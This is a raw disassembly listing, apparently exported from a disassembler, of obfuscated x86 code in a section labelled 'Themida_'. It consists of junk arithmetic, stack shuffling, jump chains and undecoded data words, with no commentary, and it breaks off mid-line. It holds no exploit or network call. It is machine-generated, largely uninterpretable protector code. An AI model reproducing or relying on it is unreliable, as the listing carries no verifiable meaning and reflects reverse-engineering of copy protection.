XREF: Themida_:00507851j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edi, 2F9C5E2Dh add edi, esi sub edi, 2F9C5E2Dh pop esi add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_500A8C ; --------------------------------------------------------------------------- dw 0C483h dd 0E1895104h, 187068h, 241C8900h, 1D3127BBh, 0F3814B3Bh dd 41F41461h, 78685750h, 8900003Ch, 9FBA2414h, 0C11BEB72h dd 9CE903EAh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5124CF: ; CODE XREF: Themida_:0050D782j dec ecx jmp loc_50FBAD ; --------------------------------------------------------------------------- db 9, 57h, 1Ch dd 0E92434FFh, 0FFFEEC75h ; --------------------------------------------------------------------------- loc_5124E0: ; CODE XREF: Themida_:00506736j mov [esp], esp push 1B2h mov [esp], edx mov edx, 4 jmp loc_50294E ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 4EC81h, 24890000h, 24048324h, 24348B04h, 0FEE2B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_51250D: ; CODE XREF: Themida_:00504608j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esi push 3AE84BBEh mov esi, [esp] add esp, 4 inc esi jmp loc_507D50 ; --------------------------------------------------------------------------- dw 1489h dd 7F685024h, 8B31FD1Fh, 0C4812404h, 4, 6E95053h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51254B: ; CODE XREF: Themida_:0050779Fj mov [esp], edx push eax pushf jmp loc_5003F2 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 29C4BA52h, 0BF571D27h, 0EFB3A1Eh, 0FFB076E9h db 0FFh ; --------------------------------------------------------------------------- loc_51256D: ; CODE XREF: Themida_:005066A1j add ebx, ebp pop ebp or edx, ebx pop ebx push ebp mov ebp, 233A25E9h xor edx, ebp pop ebp and eax, edx pop edx jmp loc_500E73 ; --------------------------------------------------------------------------- dd 4C781h, 29E90000h, 1FFFEDDh, 0F6F9E9F7h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_512596: ; CODE XREF: Themida_:005097C4j add esp, 4 or ecx, 26C4664Eh push edi mov edi, 0E74F67FFh jmp loc_508AAD ; --------------------------------------------------------------------------- loc_5125AA: ; CODE XREF: Themida_:0050F601j dec edi shl edi, 5 push eax mov eax, 28DA18E4h add eax, 4E484AE6h push edx mov edx, 73213DA6h sub eax, edx pop edx add edi, eax pop eax sub ecx, 7B524E75h add ecx, edi push edx mov edx, 7B524E75h add ecx, edx pop edx mov edi, [esp] add esp, 4 push 28C9h mov [esp], ecx jmp loc_51327C ; --------------------------------------------------------------------------- db 0F6h, 0E1h, 66h dd 51CCB60Fh, 0C181E189h, 4, 4E981h, 0C330000h, 240C3124h dd 0E9240C33h, 0FFFFDEECh, 0E958C789h, 0FFFF9ED2h, 0C181D101h dd 5AE576E0h, 8124148Bh, 4C4h, 74FF5100h, 8F590424h, 248B2404h dd 24D36624h, 0DBE99C24h, 4EFFFED1h, 5E09C681h, 0BEE9EC42h dd 0F7FFFF78h, 81D787D2h, 86505EC7h, 8BFD89C4h, 92E9243Ch dd 81FFFFCDh, 4ECh, 242C8900h, 4B67BF57h, 0FD8953AAh, 41E5815Fh dd 0C12A1857h, 0E5C102EDh, 0EE58104h, 574ACE5Fh, 0E277CDBFh dd 0E7C14778h, 84B85006h, 31309DFEh, 0FD3158C7h, 0FEE555E9h dd 5A355BFFh, 19FD627h, 24048BC6h, 0E9E18951h, 0FFFF471Fh dd 0E904EC83h, 0FFFFBCE6h, 6F7EC581h, 0C58179F0h, 54A5342h dd 0FF66C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5126C5: ; CODE XREF: Themida_:0051224Aj push ecx jmp loc_5149EC ; --------------------------------------------------------------------------- db 0FFh dd 43E94077h db 0D1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5126D3: ; CODE XREF: Themida_:00507143j pop esp add ebx, 13870BC7h xor ebx, 2E77066Bh not ebx sub ebx, 0CDAEC6A8h xor esi, ebx mov ebx, [esp] add esp, 4 mov eax, esi pop esi push 1A7Dh jmp loc_5075AC ; --------------------------------------------------------------------------- db 80h, 0C1h, 2Bh dd 0E959C800h, 0FFFF2D12h, 4246C81h, 6B3B1351h, 4246C01h dd 4244481h, 6B3B1351h, 24048F5Dh, 0FFFC57E9h, 0E96504FFh dd 0FFFF6C99h ; --------------------------------------------------------------------------- loc_51272C: ; CODE XREF: Themida_:004FF950j mov [esp], ebx mov ebx, 57126FFBh push ebx jmp loc_503280 ; --------------------------------------------------------------------------- dw 1BFh dd 56000000h, 0B3FCE957h, 0EE81FFFFh, 40186E47h, 15EF729h dd 0B9C781CFh, 59503426h, 0FFC0B60Fh, 0E9538734h, 0FFFF96DCh dd 7CBEF81h, 0FB3152BAh, 0CAC2815Fh, 14F9035h, 0CAEA81DAh dd 0E94F9035h, 0FFFF9A19h, 5C241C87h, 0B9240C89h, 6971317h dd 7E25C981h, 81492DA1h, 0E80D81F1h, 81494166h, 79DA1DC1h dd 95B1E905h, 5966FFFFh, 83240C8Bh, 66E904C4h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5127B3: ; CODE XREF: Themida_:004FFDB0j pop dword ptr [esp] pop esp mov [esp], dx push ax pushf jmp loc_4FF816 ; --------------------------------------------------------------------------- db 81h dd 111E0FF3h, 0E3EB814Eh, 31EB8665h, 241C8BDFh, 5504C483h dd 9E1C5ABDh, 0EBED8174h, 0E950B6CBh, 0FFFF2C78h, 2D77C381h dd 0D3297F2Bh, 2D77EB81h, 575A7F2Bh, 0DB0725BFh, 0E8EF8178h dd 10465A0h, 7AE95FFBh db 1Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51280B: ; CODE XREF: Themida_:0050D11Aj mov ecx, esp jmp loc_510E15 ; --------------------------------------------------------------------------- loc_512812: ; CODE XREF: Themida_:0051040Bj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 3EF1353Eh xor eax, ebx mov ebx, [esp] add esp, 4 add ebp, 3CE20C60h add ebp, eax sub ebp, 3CE20C60h jmp loc_51150F ; --------------------------------------------------------------------------- aBbNr db 'BN',0 dw 0EA81h dd 7888020Fh, 55AD529h, 4730651Eh, 0FFA51FE9h, 588105FFh dd 0BF573A61h, 78157E29h, 0E95FFD01h, 0FFFF0B9Ah ; --------------------------------------------------------------------------- loc_512870: ; CODE XREF: Themida_:0050CEC7j push 3FF0h jmp loc_511301 ; --------------------------------------------------------------------------- loc_51287A: ; CODE XREF: Themida_:0050CE1Ej sub edx, 5E2B4C7Fh sub edx, 39B84B7Fh jmp loc_513E9A ; --------------------------------------------------------------------------- db 0F7h dd 9983E9D7h, 0DF89FFFFh, 0E9241C8Bh, 0FFFF560Ah, 4C481h dd 43680000h, 89000026h, 0E9542414h, 0FFFEEFB5h ; --------------------------------------------------------------------------- loc_5128B0: ; CODE XREF: Themida_:0050BC80j mov esp, [esp] jmp loc_50EDCC ; --------------------------------------------------------------------------- dd 4B8h, 1CB3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5128C2: ; CODE XREF: Themida_:005138E0j mov [esp], eax push esi push 0E2F7121h pop esi jmp loc_501663 ; --------------------------------------------------------------------------- loc_5128D1: ; CODE XREF: Themida_:00500AACj push ecx mov ecx, 2E45942Ah add ebp, ecx pop ecx mov edx, ebp jmp loc_50F395 ; --------------------------------------------------------------------------- db 29h, 0CDh, 0FFh dd 83592434h, 2C3304C4h, 242C3124h, 8B242C33h, 89662424h dd 17E9240Ch, 51FFFECFh, 18DCE9h, 241C8B00h, 0FFAA30E9h db 0FFh ; --------------------------------------------------------------------------- loc_51290D: ; CODE XREF: Themida_:0050CB0Cj add edx, edi sub edx, 2C2E2083h jmp loc_5016C4 ; --------------------------------------------------------------------------- loc_51291A: ; CODE XREF: Themida_:00501506j inc eax sub eax, 67843067h sub eax, 6201FBE8h jmp loc_50D6BA ; --------------------------------------------------------------------------- loc_51292A: ; CODE XREF: Themida_:00510F54j pop ebp jmp loc_5024AA ; --------------------------------------------------------------------------- dd 83240C89h, 1C8904ECh, 0DA0BE924h, 3C87FFFEh, 89665C24h dd 0CBE92404h, 89FFFECEh, 0CD2958C1h, 0FFD704E9h, 81E589FFh dd 4C5h, 4C58100h, 87000000h, 0E95C242Ch, 0FFFF08D4h ; --------------------------------------------------------------------------- loc_51296C: ; CODE XREF: Themida_:0050C7A8j mov dh, 21h mov al, dh mov edx, [esp] add esp, 4 xor al, cl push dword ptr [esp] pop ecx add esp, 4 add cl, al pop ax jmp loc_512A28 ; --------------------------------------------------------------------------- loc_512988: ; CODE XREF: Themida_:0050EC74j mov esi, 18F25507h push esi sub dword ptr [esp], 2371F31h pop edx add edx, 2371F31h jmp loc_500CAF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0D950E959h, 814EFFFEh, 0F2332CE6h, 8EE813Ch, 0E92CF003h dd 0FFFF136Ah ; --------------------------------------------------------------------------- loc_5129BC: ; CODE XREF: Themida_:00505BC0j and edx, 140A117Eh push edi push esp pop edi push esi mov esi, 4 add edi, esi pop esi sub edi, 4 xchg edi, [esp] pop esp jmp loc_50886A ; --------------------------------------------------------------------------- loc_5129DA: ; CODE XREF: Themida_:00500641j push 6FC7064Fh pop ebx not ebx push ecx mov ecx, 9038F9B4h xor ebx, ecx jmp loc_50555B ; --------------------------------------------------------------------------- loc_5129EF: ; CODE XREF: Themida_:00511D77j pop ecx mov ebp, esi jmp loc_50F085 ; --------------------------------------------------------------------------- loc_5129F7: ; CODE XREF: Themida_:0050BBC7j pop esp jmp loc_4FFDB5 ; --------------------------------------------------------------------------- db 81h, 0F5h, 3 dd 1FF6688h, 6BECE9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512A0A: ; CODE XREF: Themida_:00504892j mov esi, esp add esi, 4 add esi, 4 push esi jmp loc_50C02F ; --------------------------------------------------------------------------- dw 0BEh dd 0E9000000h, 0FFFFD651h ; --------------------------------------------------------------------------- loc_512A28: ; CODE XREF: Themida_:00512983j xor al, cl mov ecx, [esp] add esp, 4 push 415Ah mov [esp], edx push eax mov al, 5 push ebx mov bl, al jmp loc_510B53 ; --------------------------------------------------------------------------- loc_512A46: ; CODE XREF: Themida_:0050CB45j or esi, ecx pop ecx or esi, 41AF08D8h xor esi, 5E866237h jmp loc_50F988 ; --------------------------------------------------------------------------- dw 0D22Dh dd 4013703Fh, 17F8FA2Dh, 6BE561Dh, 4E3B6B1Bh, 3F11F681h dd 3DE944C4h, 28000000h, 0E95A66F0h, 0FFFFA9B6h, 75105A68h dd 98E95D50h, 5EFFFFE6h, 4244481h, 272542A4h, 4247C01h dd 4246C81h, 272542A4h, 24BCE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512AA6: ; CODE XREF: Themida_:0050C66Dj dec edi push 0 sub [esp], edi jmp loc_5030E8 ; --------------------------------------------------------------------------- dd 348BF229h, 4C48124h, 1000000h, 14BD55C2h, 17FAF24h dd 81585DEAh, 4C2h, 24148700h, 0CD3CE95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_512ADA: ; CODE XREF: Themida_:005002B3j sub ebp, 4 xchg ebp, [esp] pop esp push 6EC5h jmp loc_5105E1 ; --------------------------------------------------------------------------- db 8Fh dd 815F2404h, 0EC172BC7h, 0E9D7F766h, 6Dh, 5CEB815Ch, 2901D47Fh dd 5CC381EBh, 0E901D47Fh, 0FFFFE472h ; --------------------------------------------------------------------------- loc_512B10: ; CODE XREF: Themida_:004FFA19j push edx jmp loc_501A56 ; --------------------------------------------------------------------------- dw 0E789h dd 0FEF24AE9h db 0FFh ; --------------------------------------------------------------------------- loc_512B1D: ; CODE XREF: Themida_:00507B8Cj or edi, esi pop esi jmp loc_50F9AE ; --------------------------------------------------------------------------- loc_512B25: ; CODE XREF: Themida_:00506100j sub ecx, ebx pop ebx jmp loc_509256 ; --------------------------------------------------------------------------- loc_512B2D: ; CODE XREF: Themida_:00508BB2j mov ebx, [esp] add esp, 4 sub ebx, 4F9B6EECh mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_50BCCD ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0BE560000h, 2, 815EF001h, 4ECh, 24048900h, 0FFB45CE9h dd 81DFF7FFh, 8A9F4CF7h, 8BFA8968h, 0C483243Ch, 0E9C23104h dd 0FFFFCECEh, 81E38953h, 4C3h, 4C38100h, 87000000h, 8BE9241Ch db 0FBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_512B97: ; CODE XREF: Themida_:0050F821j add esi, 77759ADh sub esi, 16855F2Ch push ebp mov ebp, 23917D62h not ebp jmp loc_502731 ; --------------------------------------------------------------------------- dd 5BD8315Ah, 48BC301h, 4C48324h, 2474FF53h, 0F149E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512BC6: ; CODE XREF: Themida_:0050FD95j xchg eax, edi neg eax xchg eax, edi jmp loc_512E96 ; --------------------------------------------------------------------------- loc_512BCF: ; CODE XREF: Themida_:005105DCj add ecx, 4 push ebx mov ebx, 4 sub ecx, ebx pop ebx push 6454h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_50E44F ; --------------------------------------------------------------------------- loc_512BF4: ; CODE XREF: Themida_:00501C45j pop dword ptr [esp] push eax mov eax, 4 add [esp+4], eax pop eax mov edi, [esp] add esp, 4 jmp loc_509FB3 ; --------------------------------------------------------------------------- loc_512C10: ; CODE XREF: Themida_:00503694j push ecx mov ecx, 44A710CAh mov eax, ecx jmp loc_50FBF6 ; --------------------------------------------------------------------------- loc_512C1D: ; CODE XREF: Themida_:00506FD3j mov edx, 55615D65h sub edx, 14E22D2Dh sub esp, 4 mov [esp], edi mov edi, 145F3A15h jmp loc_502A6C ; --------------------------------------------------------------------------- dd 8124148Bh, 4ECh, 241C8900h, 0DEE9E389h, 66FFFFA9h, 8766D5F7h dd 1C3166EBh, 1C336624h, 1C316624h, 0E95D6624h, 0FFFF9747h ; --------------------------------------------------------------------------- loc_512C64: ; CODE XREF: Themida_:00508D5Aj pop edi push 0EB0h mov [esp], eax mov eax, 43BA519Ch sub [esp+8], eax pop eax jmp loc_5069C5 ; --------------------------------------------------------------------------- dd 15DE889h, 58042444h, 0FFC402E9h db 0FFh ; --------------------------------------------------------------------------- loc_512C89: ; CODE XREF: Themida_:0050C6DCj add eax, edi sub eax, 3D6F2Bh mov edi, [esp] sub esp, 4 jmp loc_5064BE ; --------------------------------------------------------------------------- dw 0D3B9h dd 0F7210A70h, 75C181D9h, 295995DEh, 0E392E9CFh, 0BF57FFFEh dd 1CEF4F43h, 0D6B2EF81h, 0FA01CC07h, 0C1D2F75Fh, 0DAF706EAh dd 8106E2C1h, 0CD9A5DC2h, 0FB12E9E1h, 0E959FFFFh, 0FFFFAE3Ah dd 0F705EAC1h, 0A0E942DAh, 5300001Bh, 0FED45AE9h db 0FFh ; --------------------------------------------------------------------------- loc_512CED: ; CODE XREF: Themida_:005106CEj pop eax push 3E2Eh jmp loc_50F4FB ; --------------------------------------------------------------------------- dd 5B2434FFh, 0FFE35AE9h db 0FFh ; --------------------------------------------------------------------------- loc_512D01: ; CODE XREF: Themida_:0050355Cj push 5DFBh mov [esp], edi xor [esp], ebx xor ebx, [esp] xor [esp], ebx jmp loc_50C6E1 ; --------------------------------------------------------------------------- db 1 dd 0EC8159C8h, 4, 0BA241489h, 690D6F78h, 98BF5742h, 4734C870h dd 0FED639E9h, 14895CFFh, 2474FF24h, 2434FF04h, 0E924148Bh dd 0FFFF2119h, 4D8FEB81h, 0CB295877h, 4D8FC381h, 81595877h dd 0F768F6E3h, 77AFE94Dh, 7505FFFFh, 1321A0Fh, 0F752DF8h dd 3C8B321Ah, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 0FF41E7E9h, 24248BFFh, 0FED401E9h db 0FFh ; --------------------------------------------------------------------------- loc_512D8D: ; CODE XREF: Themida_:00514D37j add ebp, 0A72C384Eh sub edi, ebp pop ebp add edi, esi add edi, 15ED6901h sub edi, 274015DFh pop esi add edi, 4 xor edi, [esp] jmp loc_504254 ; --------------------------------------------------------------------------- dd 8104E2C1h, 0A7719DCAh, 27C28110h, 1AF080Ch, 2F6CE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512DC6: ; CODE XREF: Themida_:00508827j push edx mov dh, al jmp loc_5105D2 ; --------------------------------------------------------------------------- dw 0DD88h dd 0F659EE88h, 0F58851D6h, 5A59EB88h, 8001EB80h, 0F2E920EBh dd 0BEFFFFCAh, 170077D7h, 7911EE81h, 0C6810177h, 0ED8E5032h dd 34FFF129h, 0C4835E24h, 81D10104h, 174EF8C1h, 0FF515A03h dd 59042474h, 8B24048Fh, 0A3682424h, 0E9000006h, 0FFFF1396h ; --------------------------------------------------------------------------- loc_512E20: ; CODE XREF: Themida_:00511B16j add eax, 4 add eax, 4 jmp loc_50724C ; --------------------------------------------------------------------------- loc_512E2F: ; CODE XREF: Themida_:005092EBj pop ebp add ebp, 0FFFFFFFFh jmp loc_507FF1 ; --------------------------------------------------------------------------- dd 0BAF7814Fh, 93AE795h, 243C8BF9h, 0FF4607E9h db 0FFh ; --------------------------------------------------------------------------- loc_512E49: ; CODE XREF: Themida_:0050E311j mov [esp], esi push eax jmp loc_50A985 ; --------------------------------------------------------------------------- dw 34FFh dd 241C8B24h, 5104C483h, 2434FF54h, 83240C8Bh, 77E904C4h dd 89FFFFBFh, 2434FFD3h db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_50116B ; --------------------------------------------------------------------------- db 4Eh dd 6527BF57h, 0E7C110C8h, 2DB1E903h, 2C87FFFFh, 1AD2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512E96: ; CODE XREF: Themida_:00512BCAj xor edi, 53082CC1h xor edi, 510929DBh jmp loc_513AFC ; --------------------------------------------------------------------------- loc_512EA7: ; CODE XREF: Themida_:0050C779j and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_503DF3 ; --------------------------------------------------------------------------- db 29h, 0F7h, 56h dd 0E517E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512EBE: ; CODE XREF: Themida_:00505FF8j push dword ptr [esp+4] push dword ptr [esp] jmp loc_508D15 ; --------------------------------------------------------------------------- dw 0D800h dd 0FFB866E9h db 0FFh ; --------------------------------------------------------------------------- loc_512ED1: ; CODE XREF: Themida_:00500DEEj inc eax jmp loc_510408 ; --------------------------------------------------------------------------- loc_512ED7: ; CODE XREF: Themida_:00514A98j push dword ptr [esp] jmp loc_5092CF ; --------------------------------------------------------------------------- db 0F7h dd 0F75E2414h, 6F681DEh, 81477D00h, 0DD3B0FEEh, 5EF0314Dh dd 0CB46D205h, 58C32965h, 539DC381h, 81585E5Fh, 7331DC3h dd 81C3294Ah, 7331DEBh, 0DCFAE94Ah, 0EC81FFFFh, 4, 0FF240489h dd 58042474h, 8B24048Fh, 0C892424h, 0C8E4E924h, 0DFE9FFFEh db 0C8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_512F37: ; CODE XREF: Themida_:00503AADj xchg esi, [esp] mov esp, [esp] xchg edx, [esp] pop esp mov [esp], ebx push 4C2A148Fh pop ebx neg ebx or ebx, 674F3D9Bh shr ebx, 8 push ecx mov ecx, 0F7DFFBh sub ebx, ecx pop ecx sub esp, 4 mov [esp], ebx jmp loc_508DDB ; --------------------------------------------------------------------------- dd 391BC381h, 0E9571E31h, 0FFFFB45Ch, 4C481h, 0C15E0000h dd 0D3F707E3h, 1F85C381h, 0D80124DDh, 0E9241C8Bh, 0FFFEC97Ch dd 8704C283h, 685C2414h, 1A15h, 68243489h, 52FAh, 0FFA7DAE9h dd 1C77FFFFh, 6659669Dh, 9C241CD3h, 0FEC859E9h db 0FFh ; --------------------------------------------------------------------------- loc_512FBD: ; CODE XREF: Themida_:00511FF6j pop edi jmp loc_504BE2 ; --------------------------------------------------------------------------- loc_512FC3: ; CODE XREF: Themida_:005025DBj push ebp mov ebp, 5BCE60F0h mov ebx, ebp pop ebp xor ebx, 56210729h add ecx, 7BC27BCAh sub ecx, ebx sub ecx, 7BC27BCAh pop ebx jmp loc_5044A6 ; --------------------------------------------------------------------------- dw 400h dd 27E99C24h, 1FFFEC8h, 0E9515FFBh, 0FFFF8F1Ch, 50241489h dd 74FE953h, 0C483FFFFh, 24048F04h, 0A0B6525Ch, 6866h dd 0FEE09CE9h, 2C875BFFh, 0F7E95C24h, 58FFFEC7h, 2F9C6851h dd 1594309h, 35E959CFh, 29FFFFF7h, 34875AD6h, 24248B24h dd 0E9241489h, 0FFFF0AA2h, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 5AB81D6Bh push ecx mov ecx, 2DFC62A3h neg ecx add ecx, 64D1C4Eh sub ecx, 999755CDh push eax push ebx push 59CB1688h jmp loc_5048F2 ; --------------------------------------------------------------------------- db 9, 6Fh, 1Ch dd 5D2434FFh, 4EC81h, 14890000h, 2B586824h, 24890000h dd 5A77E924h, 0C381FFFFh, 78816F5Eh, 0E92434FFh, 0FFCh ; --------------------------------------------------------------------------- loc_513098: ; CODE XREF: Themida_:005119D1j not ebp push edi mov edi, 51B80798h sub edi, 7CF77AEDh add edi, 9DCBD121h add ebp, 55945AC7h sub ebp, edi jmp loc_500CD8 ; --------------------------------------------------------------------------- loc_5130B9: ; CODE XREF: Themida_:00505B3Bj mov ebx, 56AF3A46h mov edx, 0D331627Fh sub edx, ebx pop ebx jmp loc_50899F ; --------------------------------------------------------------------------- loc_5130CB: ; CODE XREF: Themida_:00500514j neg ebp jmp loc_507778 ; --------------------------------------------------------------------------- dw 0F289h dd 0A926E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5130DA: ; CODE XREF: Themida_:0050810Dj push bx mov bl, 0FFh add cl, bl mov bx, [esp] add esp, 2 inc cl xor cl, 0EBh sub esp, 4 mov [esp], edx mov dh, cl mov bh, dh mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 xor al, bh jmp loc_50880B ; --------------------------------------------------------------------------- loc_51310C: ; CODE XREF: Themida_:00508135j push ebx mov ebx, 30656A87h sub edi, ebx pop ebx add esi, 4EDD305Ah add esi, edi sub esi, 4EDD305Ah mov edi, [esp] jmp loc_50400D ; --------------------------------------------------------------------------- loc_51312B: ; CODE XREF: Themida_:0050A47Fj mov [esp], ecx jmp loc_50F471 ; --------------------------------------------------------------------------- loc_513133: ; CODE XREF: Themida_:00501142j add dword ptr [ebx], 1 push dword ptr [esp] pop ebx jmp loc_503BD9 ; --------------------------------------------------------------------------- loc_513142: ; CODE XREF: Themida_:0050FDEAj pop ebx mov esi, [esp] add esp, 4 push eax push ecx mov ecx, 56522A4Dh mov eax, 56522A49h xor eax, ecx jmp loc_513654 ; --------------------------------------------------------------------------- loc_51315C: ; CODE XREF: Themida_:005105CDj xchg edx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] jmp loc_505AB8 ; --------------------------------------------------------------------------- loc_51316B: ; CODE XREF: Themida_:00504BA3j xor ecx, ebx pop ebx sub edi, ecx mov ecx, [esp] add esp, 4 std sub esp, 4 jmp loc_501CBC ; --------------------------------------------------------------------------- dw 0B951h dd 33682B10h, 6A3AC981h, 0E981106Ch, 1B8E686Fh, 0C723E981h dd 0CE89F945h, 5EF20159h, 0FF2434FFh, 81592434h, 4C4h dd 4C48100h, 33000000h, 14312414h, 24143324h, 429665Ch dd 4FE99C24h db 0C6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5131C7: ; CODE XREF: Themida_:00506BA2j pop dword ptr [edx+38h] push 4891h mov [esp], edi mov edi, 5B932C7Dh push ebx jmp loc_50D920 ; --------------------------------------------------------------------------- loc_5131DD: ; CODE XREF: Themida_:00512264j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp add edx, 4 push ebp push edi mov edi, 0E0C1AA8h jmp loc_50E03A ; --------------------------------------------------------------------------- dd 0BF243C89h, 366D5C71h, 0E2E4B8B9h, 0B4BE5602h, 291ECD62h dd 382FE9F1h, 8B66FFFFh, 5451240Ch, 1192E959h, 0E981FFFFh dd 0D80996AAh, 5559CE89h, 8904EC83h, 0E0682404h, 585E8424h dd 2C775705h, 0DD0F707h, 740F6401h, 400D4A35h, 58C589B7h dd 2C8BEE31h, 6367E924h, 0C781FFFFh, 0D9E18558h, 815FFA01h dd 4ECh, 24348900h, 0FFAB12E9h db 0FFh ; --------------------------------------------------------------------------- loc_513269: ; CODE XREF: Themida_:00505670j add ebx, 5D521899h sub ebx, ecx sub ebx, 5D521899h jmp loc_512148 ; --------------------------------------------------------------------------- loc_51327C: ; CODE XREF: Themida_:005125E4j push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 458Ah jmp loc_50A67D ; --------------------------------------------------------------------------- db 2Dh, 0E5h, 30h dd 0C5E96FF8h, 29FFFEC7h, 8B665DEBh, 0B6682414h, 89000013h dd 5CE9243Ch db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5132B7: ; CODE XREF: Themida_:00507C51j push 0FFFFFFFFh push dword ptr [esp] pop edi push eax mov eax, esp push edx jmp loc_505C20 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 81E18951h, 4C1h, 0C247E900h, 0BE56FFFFh, 639B440Dh dd 1FE9E6D1h, 5BFFFF70h, 0F0001504h, 121EE9h db 0 ; --------------------------------------------------------------------------- loc_5132F1: ; CODE XREF: Themida_:00502C81j pop ecx sub esp, 4 mov [esp], edx push 0F1Ch mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_514132 ; --------------------------------------------------------------------------- dd 0E9241C33h, 0FFFF9F34h ; --------------------------------------------------------------------------- loc_513314: ; CODE XREF: Themida_:005018FEj mov [esp], eax mov eax, esp add eax, 4 push edi jmp loc_502D46 ; --------------------------------------------------------------------------- dd 0E950CD29h, 0FFFF8B0Ah, 468h, 0C6015800h, 8324048Bh dd 0D96804C4h, 89000058h, 74FF2434h, 5DE90424h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51334B: ; CODE XREF: Themida_:0050C9D5j sub eax, ebp pop ebp jmp loc_50B47B ; --------------------------------------------------------------------------- loc_513353: ; CODE XREF: Themida_:00514577j mov eax, esp push esi mov esi, 2DC50D73h neg esi inc esi neg esi push ebx mov ebx, 29032A6Bh jmp loc_507F73 ; --------------------------------------------------------------------------- db 1 dd 0DA295FFAh, 507FEA81h, 0C281431Dh, 4D286481h, 241C8B5Bh dd 0FF4F3FE9h, 0E9D6F6FFh, 0FFFFD8B3h ; --------------------------------------------------------------------------- loc_51338C: ; CODE XREF: Themida_:0050F89Ej add dl, 0B5h push ecx mov cl, 75h jmp loc_5043A0 ; --------------------------------------------------------------------------- db 89h dd 0BD55241Ch, 68164A68h, 258BC581h, 0E5C127C7h, 53ED8103h dd 895E5D2Dh, 0FDE3E9EBh, 0C380FFFEh, 80C30021h, 6A6821EBh dd 8900004Eh, 8BB1240Ch, 5259CB00h, 3BE978B2h, 5BFFFEF4h dd 15AD129h, 58C181C1h, 56630238h, 0FB2CB3BEh, 54E5E922h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5133EA: ; CODE XREF: Themida_:0050C52Ej mov esi, 4 jmp loc_5008B0 ; --------------------------------------------------------------------------- dd 68240C8Bh, 4E34h, 89243489h, 0EB91E9E6h, 0C681FFFEh dd 15E25890h, 0E951CE01h, 0FFFF82B8h ; --------------------------------------------------------------------------- loc_513414: ; CODE XREF: Themida_:0051195Ej push esi mov esi, 4 add edx, esi pop esi jmp loc_50D5B1 ; --------------------------------------------------------------------------- loc_513422: ; CODE XREF: Themida_:00510B56j pop eax push bx push eax mov al, 0EDh jmp loc_514701 ; --------------------------------------------------------------------------- loc_51342D: ; CODE XREF: Themida_:005022F2j pop ecx mov ebx, [esp] add esp, 4 jmp loc_50C55C ; --------------------------------------------------------------------------- loc_51343C: ; CODE XREF: Themida_:00503194j xor ebp, esi pop esi jmp loc_5096FE ; --------------------------------------------------------------------------- loc_513444: ; CODE XREF: Themida_:00507619j push eax mov eax, 4 jmp loc_50041E ; --------------------------------------------------------------------------- db 0F7h dd 4C4AE9DEh, 248BFFFFh, 2CD36624h, 0B3E99C24h, 5BFFFEC3h dd 0FED5ACE9h, 6A35BEFFh, 0F30102E1h, 0B8EB815Eh, 17EBFB6h dd 0EF815BDFh, 2, 0FEFD8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_513485: ; CODE XREF: Themida_:0050FCEEj dec edx jmp loc_50FD0C ; --------------------------------------------------------------------------- db 0FFh dd 0C0E92434h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513493: ; CODE XREF: Themida_:00511612j mov [esp], edx sub esp, 4 mov [esp], edi jmp loc_50907F ; --------------------------------------------------------------------------- db 0ACh, 51h, 54h dd 4C18159h, 53000000h, 468h, 2E80E900h, 8B58FFFFh, 0C483241Ch dd 0FFC80004h, 83592434h, 0ACE904C4h, 87FFFFC6h, 248B240Ch dd 17B95124h, 11FFA39h, 0E2C159CAh, 2E2C103h, 1827F281h dd 0C4E9DC8Eh, 5EFFFEF3h, 0FF150DE9h, 88E688FFh, 88585AF7h dd 45A5BFDh, 2CE800FAh, 0EC8159FAh, 4, 0E9240C89h, 0FFFFF7D7h dd 5104C483h, 4A6974B9h, 59CA0938h, 7C9FE281h, 0C2815613h dd 9F2A628Eh, 